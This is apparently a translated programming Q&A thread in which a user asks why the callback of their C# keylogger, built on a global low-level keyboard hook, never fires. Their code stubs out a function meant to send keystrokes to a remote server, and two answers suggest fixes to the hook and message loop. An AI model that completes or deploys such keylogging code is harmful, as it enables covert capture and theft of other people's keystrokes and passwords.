5

C#でキーロガーを作成していますが、キーボードイベントからフックメソッドを呼び出すのに問題があります。私のコードは正しいように見えますが、何らかの理由でコールバックが発生していません。

関連するコードは次のとおりです。

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

private const int WH_KEYBOARD_LL = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookHandle = IntPtr.Zero;

static void Main()
{
    /* install low level global keyboard hook */
    HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0);

    /* every 60 seconds, process collected keystrokes */
    for (;;)
    {
        Thread.Sleep(60000);
        SendKeyData();
    }
}

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    /* code to handle key events would be here */

    return CallNextHookEx(HookHandle, nCode, wParam, lParam);
}

private static void SendKeyData()
{
    /* code to send accumulated keystroke data to remote server would be here */
}

呼び出しは本来のSetWindowsHookExハンドル(つまりnullではない)を返すので、それがインストールされていることを意味するはずですが、ブレークポイントをに入れると、HookCallback到達しません。

誰かが私が間違っているかもしれないことをアドバイスできますか?

4

2 に答える 2

4

コンソールアプリケーションを作成しているようです。Windowsイベントを処理しているので、これはフォームアプリケーションである必要があります。フォームを非表示にするだけで、機能するはずです。

Application.DoEvents()コンソールアプリケーションの回避策として、ループを呼び出すことができます。

for (;;)
{
    Thread.Sleep(1);
    Application.DoEvents(); //Process event queue
    SendKeyData();
}

悪ではなく善のためにこれを使ってください。

于 2011-04-07T17:47:07.633 に答える
0

GetModuleHandle(null)を次のように置き換えてみてください

GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName)

それでうまくいくかどうかを確認してください。GetCurrentProcess()から返されたProcessオブジェクトとMainModuleから返されたProcessModuleオブジェクトはどちらも使い捨てであるため、変数として宣言してから手動で破棄することをお勧めします。さらに良いことに、それらをusingブロックに入れます。

于 2011-04-07T17:53:14.250 に答える